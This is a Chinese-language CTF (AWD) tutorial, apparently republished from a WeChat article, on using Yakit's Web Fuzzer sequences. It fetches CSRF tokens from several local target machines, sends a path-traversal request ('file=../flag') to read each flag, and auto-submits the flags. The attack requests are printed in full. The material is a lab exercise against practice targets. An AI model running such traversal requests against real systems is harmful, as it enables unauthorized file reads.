AWD:WebFuzzer 序列快速构建脚本
2023-9-21 12:37:2 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

前言

新发布的Web Fuzzer 序列 (Web Fuzzer Sequence),使用 Fuzzer 序列可以轻松构建一整个测试工作流。现在我们将综合利用 Yakit 现有的功能串联起 CSRF token 获取,flag 获取到提交 flag 这几个工作,最终快速构建起一个一键收割 flag 的 AWD 脚本。

在开始之前,先介绍一下测试环境。这是一个AWD靶场,平台在 127.0.0.1:8080,上面有目前三台靶机分别在127.0.0.1:8001 - 127.0.0.1:8083。他们都有一个目录穿越,但是有csrf token保护。

这篇文章将使用 Yakit 的能力快速构建一个攻击脚本。

Fuzzer Tag 请求多个靶机

这里先整理好所有的靶机地址,并使用fuzztag按照行读取到host变量,host变量会被继承到后面的所有请求,因此只需要设置一次这个变量。

现在我们使用这个变量,向所有靶机同时发送请求,获取csrf token。

GET / HTTP/1.1Content-Type: application/jsonHost: {{p(host)}}

提取 CSRF Token

    <form action="/" method="post">        <input name="file">        <input hidden name="csrf" value="26e65b25-0bee-49d1-a8c2-13678a9e58f8">        <button type="submit">Submit</button>    </form>

可以使用正则表达式数据提取器从 form 中提取 csrf token。

这里添加一个正则类型的数据提取器,我们要的csrf token明显是一个uuid,这里写一个uuid的正则来来提取这一块内容。

提取结果:

获取 Flag 并提交

为了把csrf token传递到下一个请求中,先新建一个名为flag的请求,再在 fuzzer 序列的面板中设置变量向下传递。

此时,就可以在名为flag的请求中使用csrf这个变量了,现在我们构建请求:

POST / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: {{p(host)}}
csrf={{p(csrf)}}&file=../flag

在这个请求中,使用fuzzer tag嵌入从上面获取的CSRF变量,打一个简单的目录穿越获取flag:

HTTP/1.1 200 OKAccept-Ranges: bytesContent-Type: text/plain; charset=utf-8Last-Modified: Thu, 07 Sep 2023 06:38:32 GMTDate: Thu, 07 Sep 2023 07:57:13 GMTContent-Length: 42
flag{c369b72b-c776-4771-8d7c-a56bc7bb1e07}

body就是flag的内容,不过严谨起见,可以写一个flag的正则来提取flag。

下面构建第三个包,提交flag

大多数 AWD 平台都会提供使用 curl 提交 flag 的命令,可以使用yakit的curl转数据包功能快速构建出提交flag的数据包。

POST /pushflag HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: localhost:8080Content-Length: 18
flag=flag{example}

略作修改,使用变量替换示例flag:

POST /pushflag HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: localhost:8080
flag={{p(flag)}}

顺利提交flag:

HTTP/1.1 200 OKContent-Type: text/plain; charset=utf-8Date: Thu, 07 Sep 2023 08:03:21 GMTContent-Length: 7

success

有什么优势吗?

  • 全程使用 GUI 操作,多数简单的测试,不用写一行代码

  • 可以配合 MITM 抓包使用,复杂包体不用自己构造,直接从 MITM 导入并修改变动部分即可

  • 支持使用 FuzzTag 嵌套的方式进行编解码,也可以使用热加载 Yaklang 进行任意复杂操作

为了方便师傅们使用,文章演示环境已上传Github,有需要的师傅们请获取链接自行下载~

https://github.com/BaiMeow/TryYakitFuzzerSeri


END

Yak官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

长按识别添加工作人员
开启Yakit进阶之旅


文章来源: https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&mid=2247511891&idx=1&sn=8875a1caec4a65d66b7978cb8f90d5a0&chksm=c2d1d3f7f5a65ae1c5e6dd0570e72a5cf061272aa873e0468523405e9a9ebce4fe13536dacad&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh